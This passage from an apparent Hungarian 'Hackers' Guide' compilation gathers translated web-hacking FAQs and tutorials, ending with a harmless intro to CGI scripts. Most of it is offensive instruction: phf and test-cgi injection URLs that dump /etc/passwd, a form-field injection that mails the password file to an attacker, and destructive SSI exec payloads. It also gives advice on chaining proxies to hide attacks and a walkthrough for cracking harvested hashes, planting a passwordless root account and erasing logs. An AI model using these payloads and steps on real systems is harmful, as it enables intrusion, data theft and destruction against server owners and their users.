site cgi-bin konyvtaraban. Miutan megtalaltad nincs mas hatra, mint hogy beird a "banner account" nevet, es a jelszot.... majd valtoztasd meg amit akarsz... 6. Javaslatok Mivel te csak a banner kepet, az alatta levo szoveget, link-jet birod valtoztani, ezert, ha beirod, hogy alatta kiirja hogy: 'Hacked by Formater', akkor az link lesz... De te szabadon hassznalhatsz HTML tag-okat is, ezert, ha azt irod be hogy '</A>Hacked by Formater', akkor a te szoveged nem lesz mar link... Ugyan igy ajanlatos a legvegere egy par <BR>-t is betenni, hogy a banner utan kovetkezo szoveg sokkal lejebb keruljon.... 7. Jelentkezo hibak "Kutatasaim" soran talalkoztam olyannal, hogy nem volt edit gomb,

229

Hackers’ Guide

tehat nem birtam editalni a bannerokat. Ezenkivul elofordult olyan is, hogy birtam editalni, csak nem akarta kimutatni a site, mert valami masik cgi-n keresztul hivta, ami szelektalta hogy melyik oldalrol hivjak, es en valamit ellottem.... (pl. a goldetc.com -ra ha elmesz, nincs fent banner, csak a helye... az en muvem... :). Ezekre megoldast valoszinu a forras letoltese es elemzes nyujtana.... csak kinek van ra ideje... 8.a. Koszonet Koszonet jar zillion-nak, aki felfedezte ezt a hibat, es keszsegessen segitett mindenben! 8.b. Greetz Greetz skYro-nak, BlackCat-nek, Nestan-nak, RSC-nek, meg a tobbieknek... :) ************************************************************************************************ Félhivatalos Web-Hack FAQ

Az alábbi anyag fordítás/átdolgozás, méghozzá eredeti címe "The Unofficial Web Hack FAQ"; igazából azoknak fordítottam le, akik már valamennyire otthon vannak az Internet világában, kapisgálják a témát és érdekli őket, de szeretnék tudni, hogy mégis milyen úton kell elindulniuk a webhelyek feltöréséhez; csak ötleteket és nem

lépésről-lépésre információt ad. Ha valakmelyikőtök úgy dönt, hogy felhasználja az itt található információkat, akkor a felelősség egyedül az övé; én elhárítom, hogy az információ terjesztése önmagában káros lenne. Sőt felhívom a figyelmet, hogy a webhelyek feltörése törvénybe ütköző cselekedet, ha valaki még nem tudná :)

Terjeszthető, formázható, tartalmi változtatás nélkül, blabla. Szerző: Voyager2, mail: [email protected] honlap: http://w3.swi.hu/voyager2

1. Mi a phf? 2. Mi a "test" hack? 3. Mi van a ~ karakterrel? 4. Hogyan kell bánni az űrlapokkal? 5. Hogyan fog ez kinézni a log fájlokban? 6. Hogyan kell az SSI-vel (Server-Side Includes) bánni? 7. Mi van, ha az SSI-k be vannak kapcsolva, de a hozzáfűzéseket levágják a bemenetről? 8. Milyen a jj.c probléma? 9. Hogyan tudok névtelenül támadni? 10. Mi az "asp dot" támadás?

230

Hackers’ Guide

1. Mi a phf? A phf fájl egy CGI szkript, amelyet arra használnak, hogy karbantartsák a felhasználók telefonkönyv-szerű jegyzékét. Sok website-nak alapértelmezésben benne ül a /cgi-bin/ könyvtárban, és sok root nem is tud róla. Érted, mindent default-ra installálnak. A phf fájlok "másképpen" reagálnak, ha egy újsor (0ah) karaktert kapnak. Itt egy ismert támadás egy Unix szerver ellen: http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd Nézz utána RFC-kben, hogy melyek az URL általános jellemzői, vagy vegyél meg egy könyvet, hogy továbbfejleszd a tudásod - ebben az esetben a %20-ra gondolok, amely a szóközt jelenti, egyébként a % karakter egy módosító karakter általánosságban véve.Vegyünk egy jobbított változatot, parancssorozat: http://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna me=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname= haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd %0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= http://thegnome.com/~someuser/passwd http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname =haqr&Qemail=&Qnickname=&Qoffice_phone= A fenti parancsok a következők: id ls -la ~someuser cp /etc/passwd ~someuser/passwd (normal URL access to get the passwd file) rm ~someuser/passwd Valószínűleg érthető most már. Megpróbálhatsz hozzáférni fájlokhoz közvetlenül, vagy átmásolni őket valami más helyre, hogy letölthesd. (A szerver csak a webhely fájljaihoz enged hozzáférést, más fájlokhoz, mint pl. a jelszófájl, nem. De a phf-nek jogosultsága van olvasni azt, és rajta keresztül elérheted a jelszófájl tartalmát.) Most UNIX parancsokat használtunk, mert a UNIX a leggyakoribb, de az NT parancsai egy NT szerveren ugyanilyen jól működnek.

2. Mi a "test" hack? Van egy tesztelő cgi szkript sok szerveren, amellyel meggyőződnek róla, hogy a környezeti változók (environment variables) és egyéb információk megfelelően továbbítódnak a szerverhez a lekérdezések (query) alatt. Ezt a fájlt test-cgi -nek hívják sok rendszerben. Itt van a működése: http://thegnome.com/cgi-bin/test-cgi?\whatever A válasz valami hasonló lesz: CGI/1.0 test script report:

231

Hackers’ Guide

argc is 0. argv is . SERVER_SOFTWARE = NCSA/1.4B SERVER_NAME = thegnome.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/1.0 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = text/plain, application/x-html, application/html, text/html, text/x-html PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /cgi-bin/test-cgi QUERY_STRING = whatever REMOTE_HOST = fifth.column.gov REMOTE_ADDR = 200.200.200.200 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = Itt is a 0a karakter használható hogy más dolgokra használjuk fel ezt a fájlt, például a jelszófájl tartalmának kilistázására: http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd Az alábbiak kilistázzák a /cgi-bin/ könyvtár tartalmát: http://thegnome.com/cgi-bin/test-cgi?* HTTP/1.0 http://thegnome.com/cgi-bin/test-cgi?x * http://thegnome.com/cgi-bin/nph-test-cgi?* HTTP/1.0 http://thegnome.com/cgi-bin/nph-test-cgi?x *

3. Mi van a ~ karakterrel? A ~ (tilde) karaktert az URL visszafejtésekor használja a szerver, hogy így rövidebben hozzáférhessen a felhasználói fájlokhoz. A szerver konfigurálásakor az admin beállíthatja az UserDir-t például /public_html/ -re, ekkor a ~ a /public_html/ -re fog kicserélődni. Néhány Unix szerver, amelyiknek nincs /public_html/, megpróbálja a home könyvtárat arra visszafejteni, ami az /etc/passwd -ben van. Ez működött a BSD-n Apache web szerverrel, de biztosan más platformok is érintettek. Az alábbi URL érdekes információt adhat vissza: http://thegnome.com/~root Ha a szerver nem volt jól beállítva, bingó! Megvan a root könyvtára a szervernek, és minden publikusan olvasható fájlhoz hozzáférhetsz: http://thegnome.com/~root/etc/passwd Néhány admin úgy próbálja kivédeni ezt, hogy egy szimbolikus linket állít be a root-ra, amely a könyvtárfa tetejére visz, de ez még mindig nem oldja meg a fenti második sor problémáját. Csak a konkrét web-szerver konfigurációjának körültekintő ellenőrzésével lehet kivédeni ezt a problémát. És nem csak a ~root, hanem minden felhasználó neve a rendszerben, beleértve egy ~-t a bin, daemon, uucp, stb. nevek

232

Hackers’ Guide

előtt támadási felületet jelent. Az accountnak nem kell shell-lel vagy jelszóval rendelkezni, elég ha van egy home könyvtára.

4. Hogyan kell bánni az űrlapokkal? Itt egy tipikus példa. Egy webmester űrlapot tett a honlapjára, amellyel e-mailt lehet küldeni egy megadott címre. De mi van, ha a szerző éppen vakációzik? Mi van, ha az e-mail cím minden hónapban változik? Ha beleteszi a címet az űrlapba, akkor a webmesternek nincs szüksége CGI szkriptre. A szokásos "From:", "Subject", stb. mezőkön kívül sokszor van még valami ilyesmi az űrlapban: <INPUT TYPE="hidden" NAME="HelpAddress" VALUE="[email protected]"> Miután rákattintunk a SUBMIT gombra, egy CGI szkripthez jutunk. Tipikus, hogy beírjuk az információt egy átmeneti fájlba, aztán visszaolvassuk, és elküldjük mailben. /* C-ben íródott kód, de ugyanez Perl-ben is működik */ sprintf(buffer, "/usr/lib/sendmail -t %s < %s", foo_address, input_file); system(buffer); A CGI egy shellben fut le, és ha a fenti kódban lévő változók nincsenek ellenőrizve, hogy tartalmaznak-e valami nem megengedettet, lemásolhatod a lapot a merevlemezedre (minden normális böngésző lehetővé teszi, hogy elmentsd az oldalt HTML fájlként a gépedre). Miután lemásoltad, szerkeszd át a lapod valami szövegszerkesztővel, hogy a következőképpen nézzen ki: <INPUT TYPE="hidden" NAME="HelpAddress" VALUE="[email protected];cat /etc/passwd | mail [email protected]"> Vegyük észre a plusz dolgokat, beleértve a pontosvesszőt. A pontosvessző fontos, az mondja meg a shellnek, hogy egy másik különálló parancsot is futtatnia kell, ez ebben az esetben el kell küldenie a jelszófájl tartalmát egy kormányügynöknek.

Fontos megjegyezni, hogy nem tudhatod, hogy a technika működik-e egy konkrét webhely esetében, amíg ki nem próbálod. Nézz körül, mielőtt próbálkozol, néha látni próbálkozásokat különböző helyeken. Mindig röhejes ilyesmit látni egy vendégkönyvben: From: [email protected] (200.200.200.200, 7/7/96 09:10 a.m. CST) Imádom a weboldaladat. Jól néz ki.;mail [email protected] < cat /etc/passwd Nemcsak Phil e-mail címe van rögzítve, hanem az IP címe is és időponttal együtt. Tehát hackerek, ha gonoszak próbáltok lenni, álcázzátok az IP-teket és a mailt egy remailerhez küldessétek, amely továbbítja a levelet a tényleges e-mail címetekre.

5. Hogy fog ez kinézni a log fájlokban? Itt van egy példa: thegnome.com unknown - [27/Sep/1996:02:28:29 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Aid%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_phone= &Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 116 thegnome.com unknown - [27/Sep/1996:02:29:04 +0000] "GET /cgi-bin/phf?Jser

233

Hackers’ Guide

ver=dummy.edu%0Acat%20/etc/passwd%0A&Qalias=&Qname=foo&Qemail=&Qnickname= &Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 724 1 thegnome.com unknown - [27/Sep/1996:02:29:57 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Auname%20-a%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffic e_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 154 thegnome.com unknown - [27/Sep/1996:02:31:30 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Acat%20/etc/shadow%0A&Qalias=&Qname=foo&Qemail=&Qnickname= &Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 105 thegnome.com unknown - [27/Sep/1996:02:32:06 +0000] "GET /cgi-bin/phf?Jser ver=dummy.edu%0Als%20-la%20/etc/shadow%0A&Qalias=&Qname=foo&Qemail=&Qnick name=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 20 0 175 anothergnome.com unknown - [27/Sep/1996:02:35:44 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20-la%20/etc/shadow%0A&Qalias=&Qname=foo&Qemail=&Q nickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0 " 200 175 anothergnome.com unknown - [27/Sep/1996:02:38:24 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Agrep%20ftp%20/etc/passwd%0A&Qalias=&Qname=foo&Qemail= &Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1 .0" 200 138 anothergnome.com unknown - [27/Sep/1996:02:40:21 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Acp%20/etc/passwd%20%7Eftp/incoming%0A&Qalias=&Qname=f oo&Qemail=&Qnickname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qsl ip= HTTP/1.0" 200 119 anothergnome.com unknown - [27/Sep/1996:02:40:46 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Aid%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_ph one=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 116 anothergnome.com unknown - [27/Sep/1996:02:41:22 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%0A&Qalias=&Qname=foo&Qemail=&Qnickname=&Qoffice_ph

234

Hackers’ Guide

one=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 300 anothergnome.com unknown - [27/Sep/1996:02:43:18 +0000] "GET /cgi-bin/phf? Jserver=dummy.edu%0Als%20%7Eftp/incoming%0A&Qalias=&Qname=foo&Qemail=&Qni ckname=&Qoffice_phone=&Qcallsign=&Qproxy=&Qhigh_school=&Qslip= HTTP/1.0" 200 107 Két támadás. Az első megpróbál hozzáférni az /etc/passwd és /etc/shadow fájlokhoz, megpróbálja megállapítani, mi a httpd (HTTP Daemon) ID-je, sikertelen hozzáféréssel a jelszófájlhoz. A második kicsit érdekesebb, mert az /etc/shadow -ot nem lehet közvetlenül elérni, hanem a támadó megpróbálja átmásolni a fájlt az anonim FTP incoming könyvtárába, hogy imígyen férjen hozzá.

6. Hogyan kell az SSI-vel (Server Side Includes) bánni? A Server-Side Include (SSI, magyarul talán szerveroldali kiegészítő) speciális műveletek HTML dokumentumba való beágyazására szolgál. A lehetőség a kihasználására a CGI-k velük együtt való használatában és a HTML módosításában rejlik.

A legnagyobb példa a vendégkönyv. Egy tipikus vendégkönyvnek semmilyen haszna nincs, de támadási felületet kínál. Az ötlet egyszerű:

• A hacker kitölti a vendégkönyvet és beleépíti az SSI-t.

• CGI-n keresztül az űrlap hozzáfűződik a vendégkönyvhöz, amely általában egy HTML dokumentum.

• A következő személy, aki megnézi a vendégkönyvet, aktiválja az SSI-t.

Tehát mi a gond? Nézzük a következő SSI-ket: <!--#exec cmd="rm -rf /"--> <!--#exec cmd="mail [email protected] < cat /etc/passwd"--> <!--#exec cmd="chmod 777 ~ftp/incoming/uploaded_hack_script"--> <!--#exec cmd="~ftp/incoming/uploaded_hack_script"--> <!--#exec cmd="find / -name foobar -print"--> Az első letöröl mindent, amihez a httpd-nek hozzáférése van. Ez egy kicsit morbid, de ráébreszthet arra, hogy mennyire komoly dologról van itt szó (remélhetőleg senki nem futtat httpd-t root-ként). A következő kettő értékesebb a mi szempontunkból. A legutolsó pedig, néhány százszor beépítve a dokumentumba lefagyasztja a szervert a következő alkalommal, ha valaki megnézi a vendégkönyvet.

7. Mi van, ha az SSI-k be vannak kapcsolva, de a hozzáfűzéseket levágják a bemenetről? Ha az SSI-k engedélyezve vannak, még mindig használhatóak. Ha van más módszer a bevitelükre, mint például egy különálló szkript, bizonyára kihasználható. Bár, ha már hozzáférésed van a rendszerhez egy külön szkripten keresztül, bizonyára nem

235

Hackers’ Guide

akarsz majd az SSI-kkel bajlódni. De ha van egy anon FTP szerver, "/incoming" könyvtárral, és a böngésződdel meg tudod nézni a feltöltött fájlokat, beépítheted az SSI-t a HTML dokumentumba, amit feltöltesz, és utána hozzáférhetsz, hogy elindíthasd az SSI-t. Továbbá a webszerver helyi felhasználói is megtehetik ugyanezt (még ha csupán FTP hozzáférésük van is a lapok feltöltéséhez, ami általános az ISP-k körében).

8. Milyen a jj.c probléma? Egy demo CGI program, jj.c névvel meghívja a /bin/mail -t anélkül, hogy megszűrné a bemenetet, tehát akármely program, amely a jj.c-re van alapozva, potenciálisan kihasználható egyszerűen egy ~ -t adva egy Unix parancs elé. Jelszóvédett lehet, de két jelszó ismert hozzá: HTTPdrocks és SDGROCKS. Ha le tudod tölteni a lefordított programot, egy brute-force jelszófeltörővel talán kitalálhatod a jelszavát.

Keress rá a weben a jj.c -re, töltsd le és tanulmányozd a kódját, ha további kérdéseid vannak. :)

9. Hogyan tudok névtelenül támadni? Egy csomó útja van. Először is, használhatsz proxyt. A log fájlokban a proxy IP címei lesznek, nem a tieid. Persze ennek hátránya az, hogy az áldozat felkeresi a proxy szerver üzemeltetőjét, és az kiadja neki az információt a log fájlokból.

Lehetséges, sőt kívánatos több proxyt fűzni egymás után, hogy elrejtsd a nyomaidat. Ez feltételezi, hogy a proxyk nem korlátozzák, hogy mely címekről lehet hozzájuk kapcsolódni.

Nem muszáj böngészőt sem használnod a hackeléshez (telnet áldozatcíme 80 ugyanúgy megfelel), használhatod a hagyományos hackelési módszereket: IP álcázás, vagy támadás más accountról. Ennek meg az a hátránya, hogy minden próbálkozás végére oda kell illesztened ezt: "| mail [email protected]" hogy lásd a végeredményeket.

10. Mi az "asp dot" támadás? Ez igazából nem is támadás, de talán érdemes megemlíteni. A Microsoft Active Server Pages (.asp kiterjesztéssel) "dinamikus" oldalak, gyakran arra használják, hogy más lapokat fűzzenek be vagy más rendszerekhez férjenek hozzá (pl. SQL parancsok is lehetnek .asp-kben). Valószínűleg az oldal tényleges forráskódját akarják elrejteni.

Ahelyett, hogy így próbálnánk: http://www.nmrc.org/secret/files/default.asp tegyünk egy pontot a végére: http://www.nmrc.org/secret/files/default.asp. És ez megadja a forráskódját az NT szerver html lapjának.

Ez az NT szerverek közül azokat érinti, amelyek nem futtatják az SP2-t. Nehezen lehet már ilyet találni.

236

Hackers’ Guide

************************************************************************************************ A PHF MODSZER ReWtE® magyarazata Ez egy regi modszer, de ugy ereztem hogy meg senki nem magyarazta el elegge reszletesen es alaposan, ugyhogy megirtam ezt. Akarmilyen parnacsokat kiadhatsz egy rendszernek a browseredbol azzal az userrel amelyikkel a httpd-t futtatjak. Ha a httpd rootkent fut akkor hatalmas mazlid van! Itt van egy pelda es egy kis magyarazat hogy ezt hogy kell hasznalni: Hogy a megnezd hogy a renceren milyen user futtathja a httpd-t, indits el mondjuk egy id-t, igy: http://www.aldozatod.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id Maga a trukk, a phf program futtatasa innen ennyi: -> cgi-bin/phf?Qualias=x a %0a-val kezded a phfnek szant parancs kiadasat: -> %0a/bin/cat beteszel egy %20-t space helyett: -> %20 es folytatod a parancs kiadasat ahogy normalisan, ebben az esetben az cat parametereit adod meg (olvasd at megegyszer ha nem tudod kovetni amit irok): -> /etc/passwd tehat ha beirod hogy: http://www.victim.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd akkor - ha van a szerveren PHF, akkor catteli a www.victim.com szerver passwdjet, amivel azt csinalsz amit akarsz. VIGYAZZ: A legujabb apache-nek van egy erdekes tulajdonsaga: ha ezzel a

237

Hackers’ Guide

modszerrel probalod megtamadni a rendszert akkor egy ido utan feltunhet, hogy egy "phf-abuse-log" nevu szarhoz jutottal, ami egesz kellemetlen es veszelyes lehet szamodra... A legtobb rendszeren ez mar nem mukodik, de vannak meg olyanok amelyeken nem javitottak ki ezt a hibat. Sok szerencset a megtalalasukhoz! - ReWtE® E-mail: [email protected] ************************************************************************************************ Hogy kell Unix ACCot szerezni 24 oraval ezen dokumentum olvasasa utan ?? Olvastam sok hacking e-zines -t, es "hogy hackeljunk" dokumentumokat ezelott. Ezek rendben vannak, erdekesek, stb... ezek mindig azt mutatjak, hogy szerezz rootot shellen keresztul, de van egy dolog, amit az emberek elfelejtenek, hogy mar elotte lehet accountod, mielott hasznalod a shellt! Szerencsesnek kell lenned, hogy l:guest p:guest jogok mukodjenek. Ebben a textben Megmutatom neked, hogy tudsz egyszeruen hackelni ( a regebbi meg hasznalatban levo rendszereket) es hogy szerezz shell-elerest 24 oran belul, miutan ezt elolvastad.Nem azon az uton indultam el, hogy hogy szerezzek root-ot miutan elertem a shellt, mert ezt a temat tobbezer textfile es C-program firtatja. NNah, szal az elso dolog, amivel rendelkezned kell, egy WWW-bongeszo, telnet program, John the Ripper cracker program (ezt ajanlom) es egy jol hasznalhato = sok szot tartalmazo szotar-file(akar kulonbozo nyelveken is). WWW-bongeszo : Netscape vagy Internet Explorer jok Telnet program : egy olyan, amelyikben allitani lehet a portot, amin konnektalni akarsz John the Ripper (hack-hu.com-rol letoltheto) Szotarfile (szinten...) NNah, minden net-felhasznalo szeretne hacker lenni, a leghasznalhatobb programokkal rendelkezni, de fenti a 4 dologgal elegge egyszeruen megszerezhetsz jogokat az adott szerverre. NNah, mondok neked valamit Japanrol. Ok igazi sztereo cuccokat csinalnak, ok

238

Hackers’ Guide

keszitik a biteket a szamitogepben, a sajat autojukat is ok gyartjak, minden elektromos cuccost ok gyartanak, stb... de az internethez es a biztonsaghoz akkora lamak....A kis "cukorkak" semmit sem tudnak az internet-biztonsagarol, Nekem mar nagyon sok japan szerveren van-volt root-jogom. Ezek a kedvenc tamadasi feluleteim, mert tul egyszeruek. Megemlitem meg az Ausztral szervereket, amik szinten vedetlenek, nehany Berkeley Egyetemi gepet is nagyon egyszeru crackelni. A kovetkezoket kell tenned : gyujtsd be a WWW-bongeszodet. Menj az AltaVista http://www.altavista.com -ra, ha nem tudnad leirom, hogy ennek a keresonek sok extra funkcioja van. Tehat beirod a keresosorba ezt >> url:ac.jp << es Klikkelsz a keresesre, megtalalod az osszes URL-t "ac.jp" vegzodessel. Ezek Japan egyetemek hasonloan mint az US -ban amik .edu -kent talalhatok meg. Be lesz mutatva neked egy-egy szep-szep Honlap, amiket szerencsetlensegedre nem foX tudni elolvasni, mert egy csomo erdekes nyelven irodtak meg :)), meg erdekesebb az URL, pld: www.mo.cs.rekimoko.ac.jp , eszrevesszuk, hogy ac.jp a vege. Klikkelj ra az URL link-sorra a WWW-bongeszodben, ahol az aktualis hely cime all, es a kovetkezo sort fuzd hozza a linkhez: /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd vagy /cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd gy.k.: http://www.mo.cs.rekimoko.ac.jp/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd Hmm, lehet, hogy ez a "phf" technika mar halott, de meg biztos vannak szerverek, amiknek segitsegevel sikerelmenyed lehet, ki tudja, mikor tudod hasznalni ezt. Ez a jelszokeresesi technika mar elegge oreg, eloszor egy FBI WEBlapon volt hasznalva par hacker altal. Ezekutan felpatcheltek a szervereket, ezert nem erdemes probalkoznod a www.nasa.gov, esetleg a www.*.com -okkal, mert tuti nem fognak beengedni, viszont egy csomo egyetemi szerver Europan es Amerikan kivul meg vedetlen ez ellen. NNah, benyomtad az entert, upsz a linkre es kapsz egy ilyesmi uzenetet : Error 404 /cgi-bin/phf is not found on this server vagy: WARNING You do not have permission to view /cgi-bin/phf/ on this server Es meg par sajatos uzenet, amit a szerver kuld neked ekkor peched van , de mi van akkor, ha a kovetkezo dolgot kapod : /cgi/phf?Qalias=x%0a/bin/cat%20/etc/passwd

239

Hackers’ Guide

root:2fkbNba29uWys:0:1:Operator:/:/bin/csh www-admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh kangaroo:3A62i9qr.YmO.:1012:10:Hisaharu TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh maemae:dvUMqNmeeENFs:1016:10:Akiko Maeda:/home/user/maemae:/bin/csh watanaby:ewF90K0gwXVD6:1006:10:Yoshiaki WATANABE:/home/user/watanaby:/bin/csh kake:kFph8HEM/aaAA:1007:10:Tetsuro KAKESHITA:/home/user/kake:/bin/csh stb Ez azt jelenti, hogy "Jacpot" -od van !!!!!!!!! :)) De ha a kovetkezo kinezetu eredmenyt kapod : root:*:0:1:Operator:/:/bin/csh www-admin:*:100:11:WWW administrator:/home/Common/WWW:/bin/csh kangaroo:*:1012:10:Hisaharu TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh maemae:*:1016:10:Akiko Maeda:/home/user/maemae:/bin/csh watanaby:*:1006:10:Yoshiaki WATANABE:/home/user/watanaby:/bin/csh kake:*:1007:10:Tetsuro KAKESHITA:/home/user/kake:/bin/csh ( megjegyzem, a : * ) ha nem tudnad ez azt jelenti, hogy shadow fileban tarolt jelszavak vannak a szerveren Ha nincs mindegyik * helyen csillag, hanem kis-nagy karakterek, akkor mar nekiallhatsz feltorni, mert nem mindegyik jelszo shadow -olt, de a shell az shell !!!! :))))))) Masold ki a nem csillagozott sorokat, es tedd be egy ures fileba..... mentsd el .. ez lesz a te feltorendo passwd fileod. Ok, most a kovetkezo lepes: eleg egyszeru, de a vegrehajtasi ideje fug erosen a geped munkavegzo kepessegetol .... a szotarfile es a passwd file nagysagatol .... ajanlom a John the Rippert, mert gyors , egyszeru a hasznalata. ez eldolgozik egy ideig tuti, addig menj le kocsmaba, vagy autokazni :))) esetleg a baratnodhoz ..... amit akarsz :)) Ha elegge szerencses vagy, akkor a megdolgozott ido a jelszofile-lal gyumolcsozni fog a folytatas :) ha nem sikerult, akkor keress egy masik ennel sokkal nagyobb szotarfilet amennyire csak tudod noveld a jelszofileod meretet, minel nagyobb, annal jobb, es legkozelebb nagyobb valoszinuseggel torheted a passwd filet :) Nnah, szereztel par jelszot a loginokhoz, ha a root -ot is megtorted, akkor fordulj at a fejeden oromodben ( En megtettem ). Ha nem, akkor se aggodj, mert legalabb lesz par shelled. NNah, akkor most bemesz a shellre telnettel a 79-es porton keresztul beutod a logint es a jelszot amit feltortel, latni fogod, hogy honnan loggoltak be utoljara az "accodra", ha a kovetkezo uzenetet kapod : ' User Never Logged On ' << ez a legjobb, mert akkor tied az elsobbseg !

240

Hackers’ Guide

{ Tanacs: Ha megszerezted a root -ot, akkor gepeld be a koetkezo sort a shell prompt utan : echo "myserver::0:0:Test User:/:/bin/csh" >> \etc\passwd Ez megengedi neked a serverre valo beloggolast a l:myserver accal, root joggal es az userek nem veszik eszre hogy rootkent vagy bejelentkezve ;)) Rejtozkodj el amennyire csak lehet, es egybol loggolj be ujbol az elobbi modon keszitett root jogu accal, es szerezz par C scriptet, hogy sikeruljon letorolni a jelneletedet... Ez minden .....

-------------------------------------------------------- " Stay Cool and be somebody's Darkfool " | =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-| " A Linux jobb a noknel, de a nok jobbak a Windowsnal" | -------------------------------------------------------- Eredeti szoveg : by Darkfool, Undernet #sin Forditas : by DjNYN , IRCnet #hacker.hu ************************************************************************************************ Mi a .cgi Fordítás: eredeti anyag címe/szerzoje "Hack-FAQ <Volume 4>" /Wang/ A CGI a Common Gateway Interface angol szavak rövidítése. Sok webhely az Interneten cgi programokat használ (ezeket cgi szkripteknek hívjuk) különbözo hasznos dolgok elvégzésére. Ezek tulajdonképpen programok, amelyeket akár egyszeru szövegszerkesztovel (Notepad) írnak és föltöltik oket a webhelyre (mármint a tulajdonos). Többféle nyelven íródhatnak, a legnépszerubbek a Perl, a C/C++, VBScript. Ezek közül a Perl a leggyakrabban használt. Nem minden szerver támogatja az összes nyelvet, lehet, hogy csak egyféle nyelvet enged meg használni.

A cgi szkripteket egy könyvtárban tárolják a webszerveren, amelynek a neve általában /cgi-bin. Nem ritka, hogy egy hasonló URL-t kapunk:

http://www.company.com/cgi-bin/login.cgi

241

Hackers’ Guide

A cgi szkripteket azért használják, mert lehetové teszik a weblapoknak, hogy programokat indítsanak a nap 24 órájában (hacsak a szerver le nem áll), és különbözo feladatok megoldására írják oket, mint pl.:

• A látogatók számának számlálására

• A látogatók által kitöltött urlapok kiértékelésére

• Vendégkönyv kezelésére

• Jelszóvédett helyek készítésére

• Levelezolisták kezelésére

• E-mail szolgáltatások kezelésére

• Véletlenszeru üzenetek/linkek megjelenítésére

• A látogatóknak lehetové teszik, hogy fájlokat töltsenek fel a szerverre

• Fájlletöltések számlálására

• A látogatókról információ gyujtésére

• Részletes hibaüzenetek megjelenítésére

A lista végtelen. Ezért jók a cgi szkriptek - mert mindenféle feladat megoldására alkalmasak. A cgi szkripteket nem kell lefordítani, mint a normális programokat, hanem szöveges formában tárolódnak a szerveren. A cgi szkriptek kimenete gyakran egy html oldal, amit a böngészo megjelenít. ************************************************************************************************ .cgi Egyszerûen A cgi scriptek szerver oldali programok, amik értelemzeruen a szerveren futnak. Az egyszerubb scriptek készitése nem nagy feladat. Annyi az egésznek a lényege, hogy a script kimenete egy sima HTML oldal legyen.Ezzel létrehozhatunk egy csomó jó dolgot, számlálót, vendégkönyvet, akár keresot vagy szavazógépet is. Én erre a célra freepascalt használok, amit elég sok oprendszer alá le lehet forditani (win, dos, os/2, linux). Tehát csak a write és writeln-l kell kiirnunk egy HTML oldalt mintha a képrenyore irnánk, és ezt fogja megkapni a kliens. A scriptnek elküldött adatokat, amik pl. lehetnek egy kitöltött urlap elemei egyszeruen beolvassuk a read paranccsal. Egy cgi script minimális kimenete a következo: HTTP/1.0 200 OK Server: NCSA/1.0a6

242

Hackers’ Guide

Content-type: text/plain Ez a doumentumtest.

Vegyük észre az üres sort, ami a fejlécet elválasztja a dokumnetumtesttol. Ennek mindig meg kell lennie, még akkor is ha nincs dokumentumtest. (Én is szivtam egy kicsit a writln elhagyása miatt.) A "HTTP/1.0" a protokoll tipusa, a 200 pedig egy hibakód, nevezetes hogy nics hiba, az "OK" pedig egy szabadon válaszotott kifejezés, de ezt semmi sem dolgozza fel. A fejléc többi sor egy opciót, és a hozzá rendelt értéket tartalmazza, kettosponttal elválasztva. A "Content-type" opció határozza meg a kimenet tipusát, esetünkben ez most egyszeru szöveg, de mi "text/html"-t fogunk használni, hogy a böngészo is HTML-nek értelmezze a kimenetre irt dolgokat.

Itt van egy kis példaprogram, ami visszaadja a bemenetre küldött adatokat, pl. egy urlap tartalmát. Freepascallal lehet forditani, és utánna egy webserver alá felrakva megnézni az eredményt. Eloször az urlap kódja:

